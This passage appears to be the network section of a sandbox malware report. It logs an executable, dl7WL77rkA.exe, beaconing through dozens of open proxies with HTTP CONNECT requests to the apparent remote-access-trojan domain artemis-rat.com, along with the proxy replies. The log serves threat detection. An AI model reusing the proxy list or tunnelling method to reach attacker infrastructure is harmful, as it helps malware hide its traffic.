Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
671	192.168.2.5	51955	38.162.29.127	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.272944927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.683459044 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
672	192.168.2.5	51853	148.72.215.79	48623	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.274127007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.998727083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.092879057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
673	192.168.2.5	51295	107.180.88.41	57642	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.274699926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
674	192.168.2.5	51106	5.59.141.94	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.281891108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
675	192.168.2.5	51873	5.196.111.30	20060	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.287594080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
676	192.168.2.5	51871	47.243.205.1	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.288335085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.599297047 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
677	192.168.2.5	50532	111.53.178.249	7302	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.292443037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.355211020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.330271006 CET	71	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 55
Mar 11, 2024 03:30:49.154608011 CET	126	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 55 Data Raw: 7b 22 63 6f 64 65 22 3a 22 30 78 30 31 39 30 30 30 31 33 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 67 65 74 20 68 74 74 70 20 68 65 61 64 65 72 20 66 61 69 6c 22 7d 0a Data Ascii: {"code":"0x01900013","message":"get http header fail"}
Mar 11, 2024 03:30:54.945466042 CET	126	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 55 Data Raw: 7b 22 63 6f 64 65 22 3a 22 30 78 30 31 39 30 30 30 31 33 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 67 65 74 20 68 74 74 70 20 68 65 61 64 65 72 20 66 61 69 6c 22 7d 0a Data Ascii: {"code":"0x01900013","message":"get http header fail"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
678	192.168.2.5	51300	162.214.225.223	58240	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.296562910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
679	192.168.2.5	52032	104.20.51.99	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.299871922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.454998016 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
680	192.168.2.5	51101	186.194.119.205	5566	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.309151888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.436706066 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
681	192.168.2.5	51879	185.38.111.1	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.311659098 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:40.633116961 CET	75	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Length: 0
Mar 11, 2024 03:30:40.997690916 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
682	192.168.2.5	52059	104.21.66.184	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.314523935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.468858004 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
683	192.168.2.5	51869	194.53.158.57	53281	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.314547062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.695595980 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 715 Content-Type: text/html Date: Fri, 02 Jan 1970 04:07:31 GMT Expires: Fri, 02 Jan 1970 04:07:31 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
684	192.168.2.5	51205	164.92.237.188	55588	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.317188025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.389456034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405970097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.499047995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
685	192.168.2.5	51193	51.83.184.241	9191	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.317270994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.401101112 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
686	192.168.2.5	51178	101.255.150.49	8089	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.320429087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.656258106 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
687	192.168.2.5	52069	104.16.195.74	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.320760965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.475323915 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
688	192.168.2.5	52007	162.241.50.179	35948	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.326009035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.826688051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.514724016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.806447029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.238996983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.681890011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
689	192.168.2.5	51992	38.162.31.238	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.329806089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.746795893 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
690	192.168.2.5	51872	176.123.56.58	3629	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.330252886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
691	192.168.2.5	52081	104.25.42.178	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.330631971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.485146999 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
692	192.168.2.5	52054	107.181.168.145	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.331098080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
693	192.168.2.5	51361	66.228.35.209	17464	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.331360102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.389456987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405996084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.499049902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
694	192.168.2.5	52062	47.251.34.170	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.332837105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.795439959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.405364037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.498956919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
695	192.168.2.5	51902	125.122.26.242	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.334690094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
696	192.168.2.5	51905	43.131.245.216	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.336455107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
697	192.168.2.5	52095	185.162.230.178	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
